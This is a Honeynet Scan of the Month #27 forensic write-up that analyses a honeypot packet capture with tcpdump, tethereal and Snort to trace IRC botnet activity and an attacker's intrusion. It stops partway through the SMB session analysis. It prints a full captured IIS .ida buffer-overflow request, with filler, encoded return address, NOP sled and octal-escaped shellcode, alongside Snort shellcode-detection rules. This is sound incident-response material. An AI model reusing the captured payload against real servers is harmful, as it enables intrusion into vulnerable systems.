HoneyNet's Scan of the Month Challenge
#27.
Authors:
Ashley Thomas
Software Engineer
Cipher Trust
ashley.thomas@ciphertrust.com
athomas@cc.gatech.edu
Vinay A. Mahadik
VAMahadik@FastMail.fm
http://lilly.csoft.net/~vamahadik/
Beginning Questions:
1. What is IRC?
A. IRC [1] (stands for Internet Relay Chat) is an open protocol
that provides for real-time multiple-user text-based teleconferencing
over a computer network. Briefly, the architecture of an IRC network
is as follows. A set of IRC servers forms the IRC network backbone. Each
server is a networked computer that forms a central point to which IRC
clients/users connect to in order to chat. Each client has a unique nickname
for identification purposes. A channel is a named enumarated list/group
of clients, potentially interested in conferencing on a topic of common interest.
Clients/users can be regular (unpriviledged users) or channel operators.
Operators enjoy special priviledges on the channel for administrative reasons.
A channel is created by the first client who joins it, and is terminated
when the last user leaves it. The first user becomes the channel operator
by default, and can then promote other users on that channel to operator
level. Over the IRC network-servers' spanning tree structure, an IRC channel
emulates a multicast group of users.
2. What message is sent by an IRC client when it asks to join
an IRC network?
A. The following is based on the IRC RFC 1459. The IRC client
first makes a TCP connection with the IRC server (usually on port 6667).
At this point the server could do some reverse client ident queries, client
hostname lookup, client open-proxy scan etc and conditionally disconnect
the client to minimise/discourage misuse of the IRC server. The client then
needs to send a nick name and an user name like:
NICK billy
USER william localhost localhost :rgdiuggac
where 'billy' is the nickname and 'william' is the username of the client
on the IRC network.
Then the server sends a 'welcome' or 'message of the day (MOTD)' banner
to the client. The client usually then uses the JOIN IRC command to join
an IRC channel like:
JOIN #foobar
where foobar is the channel name. If the channel doesn't exist, it will
be created with the user as the operator of the channel.
3. What is a Botnet?
A. In the context of (malicious) IRC-botnets, a bot refers
to a malicious automated script or code, that runs on a compromised
host computer, and operates as a slave IRC-client trojan. A botnet is
simply a set of such bots on an IRC network (or more precisely, an IRC
channel). Bots are usually preconfigured with an IRC channel to use and
usually a password as well. Each slave host/bot automatically joins
the specified channel on IRC and awaits commands on that channel from
the bot master, typically the channel operator - a human controlling
the channel, and the bots connected to it.
[2] is an illustrative gallery of botnet activity on
IRC. Some characteristic features of an IRC botnet channel are: 1.
a large number of connected users with none/few chatting, 2. a channel
mode of secret, invite-only, moderated, an operator-controlled topics
( +imst ), 3. all/most users are set to invisible ( +i ) mode, 4. other
characteristics that can be easily detected on inspection, like well structured
messages on the channel etc.
4. What are botnets commonly used for?
A. Botnet has both non-malicious and malicious uses. One the
one hand, multiple bots can be used for monitoring/protecting an IRC channel.
On the other hand, a malicious bot or
a set of malicious bots could also be used for co-ordinated attacks against
a chosen (set of) victims. The latter constitutes a DDoS (Distributed Denial
of Service) attack and botnets are commonly used by attackers for such
purposes - flooding IRC channels, SYN/Ping-flooding chosen victims etc.
5. What TCP ports does IRC generally use?
A. IRC servers typically listen on TCP port 6667, although some
popular servers listen on one or more ports from 666x-777x, 9000, 5555
etc as well. [3] gives a list of popular IRC servers and the ports
they listen on.
6. What is a binary file and how is one created?
A. It was not clear what binary file this question refered to.
A packet dump binary file is created by utilities such as tcpdump, ethereal
(using the -w dump_file option) using libpcap's pcap_dump* functions (internally).
Binary executable files for execution on different operating systems are
created by compilers like gcc and have well defined file formats like ELF,
PE etc. The linker/loaders know these file formats and which section/segment
holds what information required to copy the executable image into memory and
how to run the file.
7. What IRC servers did the honeypot communicate with?
A.
$ tcpdump -n -nn -r src_dump/sotm27 -w dump
src host 172.16.134.191 and tcp and dst port 6667
$ tethereal -n -r src_dump/sotm27 -r dump | awk {'print $5'}
| sort | uniq
Gives the following as the IRC servers the honeypot communicated
with, and summaries of the session based on greps from tethereal -V (not
shown for brevity):
209.126.161.29 (No response)
209.196.44.172 (irc5.aol.com, "rgdiuggac" nickname, joins "x......x"
channel (. = non-printable characters used), Long IRC session)
217.199.175.10 (Server full, closed connection)
63.241.174.144 (irc4.aol.com, "eohisou" nickname already in use,
connection timed out.)
66.33.65.58 (No response)
8. How many distinct hosts accessed the botnet associated with
the server having IP address 209.196.44.172?
A.
$ tcpdump -n -nn -xX -r src_dump/sotm27 -w - tcp and src host 209.196.44.172
and src port 6667 | grep -a -i "join.*x[^a-zA-Z]\{7\}x" | wc -l
8105
So around 8105+1 (1 for honeypot itself) hosts connected to the botnet
associated with the IP 209.196.44.172 and channel "x.......x"
9. Assuming that each botnet host has 56kbps network link, what
is the aggregate badnwidth of the botnet?
A. 8106 x 56kbps (when used collectively against a common victim)
= 443 Mbps approximately. This is fairly high bandwidth and can be used in
a coordinated DDoS attack against an innocent victim.
Analysis:
Confirm MD5 sum of network dump file:
$ md5sum sotm27.gz
b4bfc10fa8346d89058a2e9507cfd9b9 sotm27.gz
$
Checking for fragmented IP packets:
$ tcpdump -n -r src_dump/sotm27 'ip[6:2] & 0x3fff != 0'
$
There are no fragmented IP packets in the log; so filters based on TCP
flags etc will work for all packets.
Finding/confirming open ports on the honeypot:
For TCP ports, this is easy. We look for SYN-ACKs from the honeypot.
The source ports of these SYN-ACKs are open (at least at that point
of time).
$ tcpdump -n -nn -r sotm27 -w SynAcksFromHoneypot
'tcp[13] & 18 == 18' and src host 172.16.134.191
$ tethereal -n -r SynAcksFromHoneypot | awk {'print $7'} | sort
-n | uniq
25
80
135
139
445
4899
$
The TCP port 4899 is not a standard port, looks suspicious and
we mark it as lead #1. We will pursue it soon.
Note: At this point it is instructive to note that if the kernel
had dropped the SYN-ACK packet from 4899 (due to heavy load etc), we
wouldn't see it listed here at all. Missing SYN/SYN-ACKs for TCP sessions'
logs is not rare, and a more reliable way of detecting open ports is to
use 23 (ARSF) as the mask and match that with 18 (AS) or 16 (A) for TCP
flags of packets from the honeypot. For source ports < 1024, this works
fine. However, this will include all the ephemeral source ports (for outbound
connections) as well and if ports like 4899 (not an ephimeral source port)
are listed amongst those, we will tend to ignore them anyways. Intrusion
detection is not an exact science; let's work with SYN-ACKs at this point.
If we reach a dead-end, we'll review such assumptions again.
For UDP ports, this is tricky. Due to the absence of handshakes,
UDP packets originating from the honeypot could either be responses
to UDP requests from other hosts, or even UDP connections initiated by
the honeypot itself. Fortunately for us, the only UDP ports remote hosts
tried connecting to were ports 1434, 137 and 28431, of which 1433 and
28431 never responded and can be assumed closed (Since ICMP traffic was
clearly not captured in the dump file, we can not see the ICMP Port-Unreachable
errors from these).
$ tethereal -V -n -r src_dump/sotm27 udp
and ip.src == 172.16.134.191 | grep "Source port" | awk {'print $3'}
| sort -n | uniq
137
$
#
|
Open-UDP
|
Open-TCP
|
Default-Type
|
1.
|
137
|
-
|
Netbios Name Service
|
2.
|
-
|
25
|
SMTP
|
3.
|
-
|
80
|
Web
|
4.
|
-
|
135
|
RPC
|
5.
|
-
|
139
|
Netbios Session Service
|
6.
|
-
|
445
|
MS-SMB over TCP/IP
|
7.
|
-
|
4899
|
-Suspect-
|
8.
|
-
|
|
|
Finding outbound TCP/UDP connections initiated by the honeypot:
Fundamentally, since we control a honeypot, any outbound connections
from it that are unintentional/deliberate, are suspect and potentially
imply a compromise. Let's find the outbound TCP connections initiated
by our honeypot.
$ tcpdump -n -nn -r sotm27 src host 172.16.134.191
and 'tcp[13] & 18 == 2' | less
We find outbound connections to ports 80 (Web), 6667 (IRC), and
31337 ('ElEET'). Let's mark these as leads #2, #3, and #4 respectively.
For outbound UDP connections, from above we know that all outbound
UDP traffic had a source port of 137 and were thus, very likely, responses
to UDP requests on that port. In other words, it strongly implies there
were no outbound UDP connections initiated by the honeypot.
Running out of the box Snort 1.9.x on the network dump:
$ cat etc/snort.conf
var HOME_NET 172.16.134.191/32
var EXTERNAL_NET !$HOME_NET
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
var HTTP_SERVERS $HOME_NET
var SQL_SERVERS $HOME_NET
var TELNET_SERVERS $HOME_NET
var HTTP_PORTS 80
# var SHELLCODE_PORTS !HTTP_PORTS
var SHELLCODE_PORTS any
var ORACLE_PORTS 1521
# var AIM_SERVERS [64.12.24.0/24,64.12.25.0/24,64.12.26.14/24,64.12.28.0/24,64.12.29.0/24,64.12.161.0/24,64.12.163.0/24,205.188.5.0/24,205.188.9.0/24]
var RULE_PATH ../rules
preprocessor frag2
preprocessor stream4: detect_scans, disable_evasion_alerts
# We can afford this for offline analysis.
preprocessor stream4_reassemble: both, ports all
# Only port 80 is open, and its IIS.
preprocessor http_decode: 80 unicode iis_alt_unicode double_encode
iis_flip_slash full_whitespace
# preprocessor rpc_decode: 111 32771
# preprocessor bo: -nobrute
# Port 25 is open.
preprocessor telnet_decode 25
preprocessor conversation: allowed_ip_protocols all, timeout 60,
max_conversations 32000
# Paranoid portscan detection
preprocessor portscan2: scanners_max 3200, targets_max 5000, target_limit
5, port_limit 5, timeout 60
include classification.config
include reference.config
include $RULE_PATH/bad-traffic.rules
include $RULE_PATH/exploit.rules
include $RULE_PATH/scan.rules
include $RULE_PATH/finger.rules
include $RULE_PATH/ftp.rules
include $RULE_PATH/telnet.rules
include $RULE_PATH/rpc.rules
include $RULE_PATH/rservices.rules
include $RULE_PATH/dos.rules
include $RULE_PATH/ddos.rules
include $RULE_PATH/dns.rules
include $RULE_PATH/tftp.rules
include $RULE_PATH/web-cgi.rules
include $RULE_PATH/web-coldfusion.rules
include $RULE_PATH/web-iis.rules
include $RULE_PATH/web-frontpage.rules
include $RULE_PATH/web-misc.rules
include $RULE_PATH/web-client.rules
include $RULE_PATH/web-php.rules
include $RULE_PATH/sql.rules
include $RULE_PATH/x11.rules
include $RULE_PATH/icmp.rules
include $RULE_PATH/netbios.rules
include $RULE_PATH/misc.rules
include $RULE_PATH/attack-responses.rules
include $RULE_PATH/oracle.rules
include $RULE_PATH/mysql.rules
include $RULE_PATH/snmp.rules
include $RULE_PATH/smtp.rules
include $RULE_PATH/imap.rules
include $RULE_PATH/pop3.rules
include $RULE_PATH/pop2.rules
include $RULE_PATH/nntp.rules
include $RULE_PATH/other-ids.rules
include $RULE_PATH/web-attacks.rules
include $RULE_PATH/backdoor.rules
include $RULE_PATH/shellcode.rules
#include $RULE_PATH/policy.rules
#include $RULE_PATH/porn.rules
include $RULE_PATH/info.rules
include $RULE_PATH/icmp-info.rules
include $RULE_PATH/virus.rules
#include $RULE_PATH/chat.rules
#include $RULE_PATH/multimedia.rules
#include $RULE_PATH/p2p.rules
#include $RULE_PATH/experimental.rules
#include $RULE_PATH/local.rules
$ ./snort -l log -c etc/snort.conf -A full -b -r src_dump/sotm27
<snipped>
$ grep "\[\*\*\]" log/alert | sort | uniq
[**] [1:1390:3] SHELLCODE x86 inc ebx NOOP [**]
[**] [117:1:1] (spp_portscan2) Portscan detected from 172.16.134.191:
1 targets 6 ports in 0 seconds [**]
[**] [117:1:1] (spp_portscan2) Portscan detected from 172.16.134.191:
1 targets 6 ports in 13 seconds [**]
[**] [117:1:1] (spp_portscan2) Portscan detected from 172.16.134.191:
1 targets 6 ports in 30 seconds [**]
[**] [117:1:1] (spp_portscan2) Portscan detected from 172.16.134.191:
6 targets 6 ports in 18 seconds [**]
[**] [117:1:1] (spp_portscan2) Portscan detected from 172.16.134.191:
6 targets 6 ports in 24 seconds [**]
[**] [117:1:1] (spp_portscan2) Portscan detected from 172.16.134.191:
6 targets 6 ports in 26 seconds [**]
[**] [117:1:1] (spp_portscan2) Portscan detected from 24.197.194.106:
1 targets 6 ports in 0 seconds [**]
[**] [1:2003:2] MS-SQL Worm propagation attempt [**]
[**] [1:615:3] SCAN SOCKS Proxy attempt [**]
$
So, Snort detected only a handful of potential attack attempts.
Let's check each (sids 1390, 2003, 615 and the outbound scans from the
honeypot) now. First, the Sid 1390, shellcode in requests to port 80.
$ grep "sid:1390" rules/*.rules
shellcode.rules:alert ip $EXTERNAL_NET any -> $HOME_NET $SHELLCODE_PORTS
(msg:"SHELLCODE x86 inc ebx NOOP"; content:"|43 43 43 43 43 43 43 43
43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43|"; classtype:shellcode-detect;
sid:1390; rev:3;)
The following gives the source IP responsible for those attempts
and the ports it attempted to break into.
$ grep -A 3 -B 0 "1:1390:3" log/alert | grep
"\-> 172\.16\.134\.191" | sed 's/:/ /g' | awk {'print $1"\t"$5'}
| sort | uniq
210.22.204.101 80
Let's call this source IP lead #5 .
For sid 2003, the rule/signature being tested was:
$ grep "sid:2003" rules/*.rules
sql.rules:alert udp $EXTERNAL_NET any -> $HOME_NET 1434 (msg:"MS-SQL
Worm propagation attempt"; content:"|04|"; depth:1; content:"|81 F1 03
01 04 9B 81 F1 0
1|"; content:"sock"; content:"send"; reference:bugtraq,5310; classtype:misc-attack;
reference:bugtraq,5311; reference:url,vil.nai.com/vil/content/v_99992.ht
m; sid:2003; rev:2;)
$
Since we know that UDP port 1434 is closed, this by definition
becomes a false positive. Let's ignore this (we could've disabled it
as well, but we prefer false positives to false negatives, and work with
non-optimal rule-sets for offline analysis).
Sid 615 has the following signature:
$ grep "sid:615" rules/*.rules
rules/scan.rules:alert tcp $EXTERNAL_NET any -> $HOME_NET 1080
(msg:"SCAN SOCKS Proxy attempt"; flags:S; reference:url,help.undernet.org/proxyscan/;
classtype:attempted-recon; sid:615; rev:3;)
$
Although our TCP port 1080 is closed, we note that from the reference
URL " http://help.undernet.org/proxyscan/ ", this would occur only if
our honeypot connects to the IRC server on the externet IP address! The
IRC server scans for open proxies in an attempt to reduce/discourage abuse,
and Snort detects that scan. Let's look at the alert again:
$ grep -A 6 ":615:" log/alert
[**] [1:615:3] SCAN SOCKS Proxy attempt [**]
[Classification: Attempted Information Leak] [Priority: 2]
03/02-05:24:55.179508 0:E0:B6:5:CE:A -> 0:5:69:0:1:E2 type:0x800
len:0x3C
200.74.26.73:25590 -> 172.16.134.191:1080 TCP TTL:114 TOS:0x0
ID:34075 IpLen:20 DgmLen:40 DF
******S* Seq: 0x187C0000 Ack: 0x0 Win: 0x200
TcpLen: 20
[Xref => url help.undernet.org/proxyscan/]
$
If 200.74.26.73 indeed is an IRC server, and this indeed is a open-proxy
scan, it means our honeypot made an unintended external connection to
the IRC server. This is a sure sign of a compromise having occured sometime
before. Like we mentioned before, for offline analysis, we prefer false
positives to false negatives; this alert neatly justifies the importance
of doing that. This lead correlates with the already marked lead #3.
Finally, we consider the outbound scan alerts from our honeypot.
It can quickly be verified from log/scan.log that most of these are false
positives from port 80 traffic. We already have leads from outbound connection
attempts - leads 2, 3, 4, & 6. Also:
$ grep "src: 172\.16\.134\.191" log/scan.log
| grep -v "port: 80 "
03/05-20:36:42.242231 TCP src: 172.16.134.191 dst: 209.126.161.29
sport: 1127 dport: 6667 tgts: 2 ports: 193 flags: ******S* event_id: 128
$
which is no new information.
Summarizing the leads so far, we have a suspicious TCP port
4899 open on the honeypot, outbound TCP connections to ports 80, 6667 and
31337 for some external hosts, source 210.22.204.101 attempting to breakinto
port 80 of the honeypot through some buffer overflow shellcode attempts.
Now lets look at each of these leads, also considering chronological order
of events this time.
Analysing lead #1 & #5:
From lead #1, we had this suspicious TCP port 4899.
$ tethereal -n -r src_dump/sotm27 tcp.port
== 4899 and ip.dst == 172.16.134.191 | grep "> 4899 " | awk {'print
$3'} | sort | uniq
210.22.204.101
This is the source IP exchanging packets with the suspicious TCP
port 4899 on the honeypot. We recall that the source IP from lead #5 matches!
Let's track this source IP's activity:
$ tethereal -n -r src_dump/sotm27 ip.addr == 210.22.204.101
..
919 322204.748928 210.22.204.101 -> 172.16.134.191 SMB Negotiate
Protocol Request
920 322204.753089 172.16.134.191 -> 210.22.204.101 SMB Negotiate
Protocol Response
921 322204.978800 210.22.204.101 -> 172.16.134.191 SMB Session
Setup AndX Request
..
The attacker has had a SMB session with the honeypot. Since the honeypot
had a NULL password, the attacker would have an Administrative level
access easily. We'll explore this session in depth later, within this
section. Let's look at lead #5, the attackers connections on port 80:
..
1885 322294.518123 210.22.204.101 -> 172.16.134.191 TCP 2927 >
80 [SYN] Seq=2047881279 Ack=0 Win=64240 Len=0 MSS=1460
1886 322294.525407 172.16.134.191 -> 210.22.204.101 TCP 80 >
2927 [SYN, ACK] Seq=2342801565 Ack=2047881280 Win=17520 Len=0 MSS=1460
1887 322294.748215 210.22.204.101 -> 172.16.134.191 TCP 2927 >
80 [ACK] Seq=2047881280 Ack=2342801566 Win=64240 Len=0
1888 322294.759049 210.22.204.101 -> 172.16.134.191 HTTP GET /NULL.IDA?CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
<break> CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC%u0aeb%ub890%ubf17%u77e4%u0000%u0000%u838b%u0094
<break> %u0000%u408b%u0564%u0150%u0000%ue0ff%u9090=x&\220\220\220\220\220\220\220\220\220\220
<break> \220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\353\t\220\220\220_\353\b\220\220\220\350\365\377\377\377\215o\360\215}-\220\220\220\213\367f\270H\0
063\311f\213\310\264\231\374\2542\304\252\342\372\024$\354\237\231\231e\252P(\271)\275k7_\336f\231q\224\235\231\231q\026\235\231\231q\327\233\231\231\020\03
4\332\234\231\231q\310\233\231\231q\275\232\231\231\020\034\336\234\231\231q'\230\231\231\020\034\326\234\231\231\022\034\336\234\231\231q\346\233\231\231\0
20\034\322\234\231\231q\307\231\231\231q\b\231\231\231\032a\231\355y\022\034\322\234\231\231\311f\f\224\237\231\231\022\034\336\234\231\231\311f\f\224\237\2
31\231\022\034\266\234\231\231\311f\f\037\234\231\231\022\034\242\234\231\231\311f\f\037\234\231\231!\231\231\231\231\311\022\034\326\234\231\231\311f\f\\23
4\231\231!\231\231\231\231\311f\fO\234\231\231Z\022\034\322\234\231\231\363\231\363\200\024\034\232\230\231\231\311\022\034\322\234\231\231\311f\f\232\237\2
31\231Z\224\223\316\360\367\367\355\330\354\355\366\330\355\355\370\372\362\271\317\253\251\224\223\224\223\361\t\231\231\231f\f&\234\231\231\022\034\266\23
4\231\231q_\231\231\231\032af\226\035/\231\231\231\032a\231\355\316\t\t\t\t\363\231\024\034\246\234\231\231\311\361\231\235\231\231\022\034\332\234\231\231\
311\022\034\266\234\231\231\311f\f/\234\231\231\032a\231\226\035\033\231\231\231\363\231\022\034\246\234\231\231\311\022\034\332\234\231\231\311\022\034\322
\234\231\231\311f\f\232\237\231\231\032af\355\375\t\t\t\tr\034\363\231\361\231\235\231\231\022\034\332\234\231\231\311\022\034\322\234\231\231\311f\f\221\23
7\231\231\032a\231\355\247\t\t\t\t\032af\355\254\t\t\t\t\252B\312\024\004\246\234\231\231\312\311\022\034\332\234\231\231\311\022\034\242\234\231\231\311f\f
5\234\231\231\032a\231\355\220\t\t\t\tp\262fff\252Y\321Z\252YZ\252B\312\024\004\275\233\231\231\312\252B\312\312\312\311f\f\v\234\231\231\032a\231\355\222\t
\t\t\t\022\034\275\233\231\231Z!ffffZ\231\231\231\231\022\034\332\234\231\231^\231\335\231\231\231\311f\f\376\234\231\231\022\004\332\234\231\231\022\034\25
2\234\231\231\020\332\331\020\332\245\022\034\256\234\231\231\020\332\241!\230\230\231\231\020\332\265\312\312\252Y\311\311\311\331\311\321\311\311\024\034\
354\237\231\231\311\252Y\311f\f\356\234\231\231\022\034\252\234\231\231\311f\f\037\234\231\231\022\034\256\234\231\231\311f\f\037\234\231\231\022\034\332\23
4\231\231\022\231Z\361\231\235\231\231\363\331f\f9\234\231\231Z\252Y\311\024\034w\233\231\231^\231\225\231\231\231\311\024\034\252\234\231\231\311\024\034\2
66\234\231\231\311f\f\305\234\231\231\252Y\311\024\034w\233\231\231\311\024\034\242\234\231\231\311\024\034\256\234\231\231\311f\f\305\234\231\231Z\231\231\
231\231\231\231\231\231\230\231\231\231\311\024\004\270\232\231\231^\232\211\231\231\231\312\024\004\333\235\231\231\312\311f\fe\234\231\231\022A\032a\231\3
01\345E\022ZZ\211\231\231\231\363\212\024\034\366\232\231\231\311f\f\275\237\231\231\024\034\366\232\231\231\311f\f\251\237\231\231\032a\231\355\273\t\t\t\t
\022\351\225\022ge4\032a\231\355\212\t\t\t\t\022\231\245\223\355i\245Y\355u\2455\355qZ\022n4\022\231Z\231\231\231\231\231\231\231\231\231\231\231\231\231\23
1\231\231\231\231\231\231\022\034\332\234\231\231\311\363\233f\f\200\237\231\231\363\231\363\230\363\233f\fp\234\231\231\032af\226\035\001\231\231\231\020\0
34\336\234\231\231\024\004\246\234\231\231^\232\230\231\231\231\363\235\312\363\235\361ff\231\231\311f\f\247\237\231\231\032a\231\354\351\t\t\t\t\377\022\03
4\366\237\231\231\377\020\034\335\235\231\231\022\034\350\237\231\231\020\034\337\235\231\231\032af\354\226\t\t\t\tq\263fff\020\034\337\235\231\231\022\034\
336\234\231\231\363\211\024\004\333\235\231\231\312\311f\fi\234\231\231\032a\231\354\272\t\t\t\t
1889 322294.769834 210.22.204.101 -> 172.16.134.191 HTTP Continuation
1890 322294.778957 172.16.134.191 -> 210.22.204.101 TCP 80 >
2927 [ACK] Seq=2342801566 Ack=2047883350 Win=17520 Len=0
1891 322295.575336 172.16.134.191 -> 210.22.204.101 TCP 80 >
2927 [RST] Seq=2342801566 Ack=2047883350 Win=0 Len=0
..
Note the "CCCCCCCC.." sled, this generates the 'false positive' with
Snort's sid 1390, lead #5; false-positive because clearly the C's are
used as filler bytes here. The exploit seems to correlate with [4] EEye's MS IIS Indexing Service Vulnerability Advisory
. A false-negative we see here is that Snort failed to detect the \220
sled (or 0x90 sled) in the packet. Here's why:
$ grep "90 90 90 90" rules/shellcode.rules
alert ip $EXTERNAL_NET any -> $HOME_NET $SHELLCODE_PORTS (msg:"SHELLCODE
x86 NOOP"; content: "|90 90 90 90 90 90 90 90 90 90 90 90 90 90|"; depth:
128; reference:arachnids,181; classtype:shellcode-detect; sid:648;
rev:5;)
$
that is, Snort's string search function stopped at the 128th byte
from the start of the TCP payload and missed the NO-OP sled that was present
after it.
Further, the ACK, RST-ACK sequence from the server strongly implies
that the IIS web-server process did indeed crash from the exploit
attempt, and sent a RST due to this. Although, there seems to be no concrete
research/white paper on this topic, some informal discussion about what
different OSes respond with (ACK, FIN-ACK, RST-ACK sequences) on the wire
when a server application crashes under different conditions can be found
at [5], and [6]. For windows, then, the ACK, RST-ACK sequence, in
general, means that the network end application crashed or exited without
closing the socket.
..
1892 322296.744561 210.22.204.101 -> 172.16.134.191 TCP 3099 >
99 [SYN] Seq=2056841185 Ack=0 Win=64240 Len=0 MSS=1460
1893 322296.750552 172.16.134.191 -> 210.22.204.101 TCP 99 >
3099 [RST, ACK] Seq=0 Ack=2056841186 Win=0 Len=0
1894 322297.474719 210.22.204.101 -> 172.16.134.191 TCP 3099 >
99 [SYN] Seq=2056841185 Ack=0 Win=64240 Len=0 MSS=1460
1895 322297.475370 172.16.134.191 -> 210.22.204.101 TCP 99 >
3099 [RST, ACK] Seq=0 Ack=2056841186 Win=0 Len=0
1896 322298.197144 210.22.204.101 -> 172.16.134.191 TCP 3099 >
99 [SYN] Seq=2056841185 Ack=0 Win=64240 Len=0 MSS=1460
1897 322298.197780 172.16.134.191 -> 210.22.204.101 TCP 99 >
3099 [RST, ACK] Seq=0 Ack=2056841186 Win=0 Len=0
1898 322299.740272 210.22.204.101 -> 172.16.134.191 TCP 3298 >
80 [SYN] Seq=2067612316 Ack=0 Win=64240 Len=0 MSS=1460
1899 322299.741015 172.16.134.191 -> 210.22.204.101 TCP 80 >
3298 [RST, ACK] Seq=0 Ack=2067612317 Win=0 Len=0
1900 322300.390898 210.22.204.101 -> 172.16.134.191 TCP 3298 >
80 [SYN] Seq=2067612316 Ack=0 Win=64240 Len=0 MSS=1460
1901 322300.391579 172.16.134.191 -> 210.22.204.101 TCP 80 >
3298 [RST, ACK] Seq=0 Ack=2067612317 Win=0 Len=0
1902 322301.091455 210.22.204.101 -> 172.16.134.191 TCP 3298 >
80 [SYN] Seq=2067612316 Ack=0 Win=64240 Len=0 MSS=1460
1903 322301.092127 172.16.134.191 -> 210.22.204.101 TCP 80 >
3298 [RST, ACK] Seq=0 Ack=2067612317 Win=0 Len=0
1904 322301.341778 210.22.204.101 -> 172.16.134.191 TCP 3353 >
99 [SYN] Seq=2070673815 Ack=0 Win=64240 Len=0 MSS=1460
1905 322301.347897 172.16.134.191 -> 210.22.204.101 TCP 99 >
3353 [RST, ACK] Seq=0 Ack=2070673816 Win=0 Len=0
1906 322301.998103 210.22.204.101 -> 172.16.134.191 TCP 3353 >
99 [SYN] Seq=2070673815 Ack=0 Win=64240 Len=0 MSS=1460
1907 322301.999558 172.16.134.191 -> 210.22.204.101 TCP 99 >
3353 [RST, ACK] Seq=0 Ack=2070673816 Win=0 Len=0
1908 322302.698481 210.22.204.101 -> 172.16.134.191 TCP 3353 >
99 [SYN] Seq=2070673815 Ack=0 Win=64240 Len=0 MSS=1460
1909 322302.699997 172.16.134.191 -> 210.22.204.101 TCP 99 >
3353 [RST, ACK] Seq=0 Ack=2070673816 Win=0 Len=0
1910 322304.339951 210.22.204.101 -> 172.16.134.191 TCP 3556 >
80 [SYN] Seq=2081358007 Ack=0 Win=64240 Len=0 MSS=1460
1911 322304.411734 172.16.134.191 -> 210.22.204.101 TCP 80
> 3556 [SYN, ACK] Seq=2345286388 Ack=2081358008 Win=17520 Len=0
MSS=1460
1912 322304.634563 210.22.204.101 -> 172.16.134.191 TCP 3556 >
80 [ACK] Seq=2081358008 Ack=2345286389 Win=64240 Len=0
..
The port 80 on the honeypot starts accepting connections again after
some 10 seconds. This is known behavior of IIS on Windows 2000, it auto-restarts
after crashing. The attacker attempts to connect to port 99 whenever
he/she manages to crash the IIS process on port 80. Clearly, the attacker
is expecting a listener on TCP port 99 from the shellcode, if the exploit
is successful. The attacker never (not shown here) finds the port 99 open,
strongly implying that the penetration attempts on port 80 were unsuccessful.
Let's mark lead #5 as a closed.
Let's get back to lead #1's port 4899 attempts, and the SMB session.
We find that the first match for lead #1's port 4899 is:
..
1348 322250.478078 210.22.204.101 -> 172.16.134.191 TCP 3745 >
4899 [SYN] Seq=1889737148 Ack=0 Win=64240 Len=0 MSS=1460
1349 322250.486473 172.16.134.191 -> 210.22.204.101 TCP 4899 >
3745 [RST, ACK] Seq=0 Ack=1889737149 Win=0 Len=0
1350 322250.704362 210.22.204.101 -> 172.16.134.191 TCP 2927 >
445 [FIN, ACK] Seq=1846632006 Ack=2328092462 Win=63835 Len=0
1351 322250.705285 172.16.134.191 -> 210.22.204.101 TCP 445 >
2927 [FIN, ACK] Seq=2328092462 Ack=1846632007 Win=17477 Len=0
1352 322250.872701 210.22.204.101 -> 172.16.134.191 TCP 2927 >
445 [RST] Seq=1846632007 Ack=1402577632 Win=0 Len=0
1353 322251.184419 210.22.204.101 -> 172.16.134.191 TCP 3745 >
4899 [SYN] Seq=1889737148 Ack=0 Win=64240 Len=0 MSS=1460
1354 322251.189447 172.16.134.191 -> 210.22.204.101 TCP 4899 >
3745 [RST, ACK] Seq=0 Ack=1889737149 Win=0 Len=0
1355 322251.881602 210.22.204.101 -> 172.16.134.191 TCP 3745 >
4899 [SYN] Seq=1889737148 Ack=0 Win=64240 Len=0 MSS=1460
1356 322251.887548 172.16.134.191 -> 210.22.204.101 TCP 4899 >
3745 [RST, ACK] Seq=0 Ack=1889737149 Win=0 Len=0
..
The attacker attempted to connect to the port 4899, which was closed
at this point. However, lead #1 was all about an open port 4899 right.
We find this later:
..
2070 322575.207440 210.22.204.101 -> 172.16.134.191 TCP 2651 >
4899 [SYN] Seq=3031899699 Ack=0 Win=64240 Len=0 MSS=1460
2071 322575.212330 172.16.134.191 -> 210.22.204.101 TCP 4899
> 2651 [SYN, ACK] Seq=2413544311 Ack=3031899700 Win=17520 Len=0
MSS=1460
2072 322575.437769 210.22.204.101 -> 172.16.134.191 TCP 2651 >
4899 [ACK] Seq=3031899700 Ack=2413544312 Win=64240 Len=0
2073 322575.458416 210.22.204.101 -> 172.16.134.191 TCP 2651 >
4899 [PSH, ACK] Seq=3031899700 Ack=2413544312 Win=64240 Len=10
2074 322575.579622 172.16.134.191 -> 210.22.204.101 TCP 4899 >
2651 [ACK] Seq=2413544312 Ack=3031899710 Win=17510 Len=0
..
3081 322723.529180 210.22.204.101 -> 172.16.134.191 TCP 2773 >
4899 [PSH, ACK] Seq=3038331306 Ack=2414060075 Win=63634 Len=26
3082 322733.191434 210.22.204.101 -> 172.16.134.191 TCP 2773 >
4899 [PSH, ACK]
-EOF-
..
Here the attacker hit an open port 4899 and started exchanging (pushing
data towards it) packets with it! Clearly, this strongly implies that
the honeypot was compromised somewhere within this 225 second window of
time.
As the following shows, the attacker started another SMB session
during this window of time. Apart from the unsuccessful port 80 session,
this is the only session the attacker is at during this window of time.
Clearly, a closer inspection of this SMB session is in order. Let's first
see the relevant snips and frame numbers from tethereal's one line summaries
for this session. SMB, and DCE/RPC over SMB are fairly involved protocols
and it is easy to digress into irrelevant information contained in the protocol
information decoded by ethereal.
For SMB sessions, a good idea about what occured can be got from
a simple 'grep " SMB " ' of the tethereal one line summaries. This removes
the NBSS Session Messages, NBSS Continuation Messages, SYN/ACK/FIN/RSTs
etc, and DCERPC messages. It should be noted that DCERPC (calling remote
procedures on the honeypot) needs more attention especially after a 'Create
AndX Request'. However, we need to look at DCERPCs' payloads to find what
they did. Let's look at the remaining traffic (as grep-ed above) for now:
..
Negotiate SMB protocol parameters. Here the SMB client is
told the server uses USER mode Challenge-Response authentication.
1364 322253.692340 210.22.204.101 -> 172.16.134.191 SMB Negotiate
Protocol Request
